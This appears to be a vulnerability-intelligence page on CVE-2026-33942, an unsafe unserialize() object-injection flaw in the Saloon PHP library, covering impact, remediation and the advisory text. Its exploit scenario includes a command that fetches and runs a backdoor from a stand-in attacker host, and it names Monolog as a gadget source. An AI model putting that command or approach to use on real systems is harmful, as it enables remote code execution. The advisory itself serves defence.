Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCompromise cached token file or inject serialized payload
-
DeliverySupply malicious gadget object
-
ExploitPHP unserialize() instantiates object
-
ExecutionMagic methods executed
-
ImpactRemote code execution via gadget chain
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V1 - Encoding and Sanitization Safe deserialization, type allowlists
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker must control serialized OAuth token data (via cache file overwrite, storage injection, or similar) in Saloon PHP library versions <4.0.0. AccessTokenAuthenticator::unserialize() with allowed_classes=>true enables object injection via gadget chains in common dependencies. |
| Impact | This vulnerability represents a critical real-world risk due to multiple compounding factors. While CVSS and EPSS scores are not provided in the intelligence data, the attack vector is network-adjacent to local, requires medium complexity (gadget chain construction and cache/file control), and demands no privilege escalation-all indicators of exploitability. The vulnerability is not listed as actively exploited via CISA KEV at present, but proof-of-concept exploitation is feasible given the well-documented nature of PHP object injection and the availability of gadget chains in Monolog (a ubiquitous logging library). The technical impact is catastrophic: remote code execution with application privileges. The true risk hinges on attack surface: an application must either cache tokens to disk, accept serialized tokens from external input, or allow an attacker to write to the cache location. In shared hosting, container, or multi-tenant environments, cache poisoning becomes highly probable. Organizations using Saloon for OAuth integrations should treat this as high-priority, especially if tokens are cached persistently or if Monolog or similar gadget-rich libraries are installed. |
| Exploit ScenarioDerived | An attacker gains write access to the application's token cache directory via a directory traversal bug, insecure upload handler, or container escape. The attacker crafts a malicious PHP serialized object (gadget chain using Monolog's StreamHandler or similar classes) that executes shell_exec('wget http://attacker.com/backdoor.php -O /tmp/shell.php && php /tmp/shell.php') when instantiated. When the application next initializes an OAuth connection and loads the poisoned cached token via AccessTokenAuthenticator::unserialize(), PHP instantiates the gadget object, triggers __destruct or __wakeup methods in the chain, and executes the attacker's command with the same privileges as the web server, resulting in a fully compromised application and potential lateral movement to downstream systems. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 26, 2026
Saloon PHP library versions prior to 4.0.0 contain a PHP object injection vulnerability in the AccessTokenAuthenticator::unserialize() method, which unsafely deserializes OAuth token state using unserialize() with allowed_classes set to true. An attacker who can control the serialized token string-such as by overwriting a cached token file or injecting malicious data-can supply a crafted serialized gadget object that executes arbitrary code through PHP magic methods during deserialization. In environments with common dependencies like Monolog present, this vulnerability can be reliably chained to achieve remote code execution (RCE), making it a critical threat to any API integration or SDK built on vulnerable Saloon versions.
RemediationAI
Upgrade Saloon to version 4.0.0 or later immediately. Version 4.0.0 removes PHP serialization from the AccessTokenAuthenticator class entirely, requiring developers to manually implement and manage token storage and restoration logic, which eliminates the attack surface. Until patching is complete, implement defense-in-depth: (1) restrict file system permissions on cache directories to prevent unauthorized writes, (2) disable or isolate Monolog and other gadget-rich dependencies if not actively used, (3) validate token cache integrity using cryptographic signatures (HMAC-SHA256) before deserialization, and (4) run Saloon-dependent code in a sandbox or container with restricted capabilities. Review the upgrade guide at https://docs.saloon.dev/upgrade/upgrading-from-v3-to-v4 for migration steps to the new manual token management pattern.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Saloon is a PHP library (CPE: cpe:2.3:a:saloonphp:saloon) designed to simplify OAuth and API integrations. The vulnerability stems from unsafe deserialization practices in the AccessTokenAuthenticator class, which falls under CWE-502 (Deserialization of Untrusted Data). The root cause is the use of PHP's native unserialize() function with allowed_classes set to true, which permits instantiation of any PHP class present in the application's dependency tree. When an attacker-controlled serialized string is passed to unserialize(), PHP instantiates arbitrary objects and triggers their magic methods (__wakeup, __construct, __destruct, etc.), allowing gadget chains from common libraries (particularly Monolog) to execute system commands. This is a well-known attack vector in PHP security, especially in frameworks and libraries that handle persistent state like authentication tokens.
Know when Saloon gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Saloon is a PHP library that gives users tools to build API integrations and SDKs. Versions prior to 4.0.0 used PHP's unserialize() in AccessTokenAuthenticator::unserialize() to restore OAuth token state from cache or storage, with allowed_classes => true. An attacker who can control the serialized string (e.g. by overwriting a cached token file or via another injection) can supply a serialized "gadget" object. When unserialize() runs, PHP instantiates that object and runs its magic methods (__wakeup, __destruct, etc.), leading to object injection. In environments with common dependencies (e.g. Monolog), this can be chained to remote code execution (RCE). The fix in version 4.0.0 removes PHP serialization from the AccessTokenAuthenticator class requiring users to store and resolve the authenticator manually.
Executive ViewAI
Organizations using Saloon face notable risk from CVE-2026-33942, a insecure deserialization vulnerability rated CVSS 8.1. Insecure deserialization could allow attackers to execute arbitrary code by providing crafted serialized data. Organizations should apply vendor updates when available and consider compensating controls in the interim.
Apply vendor patch. If immediate patching is not feasible: (1) Restrict deserialization endpoints; (2) Implement integrity checks on serialized data; (3) Use type-safe alternatives.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
EUVD-2026-16070
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB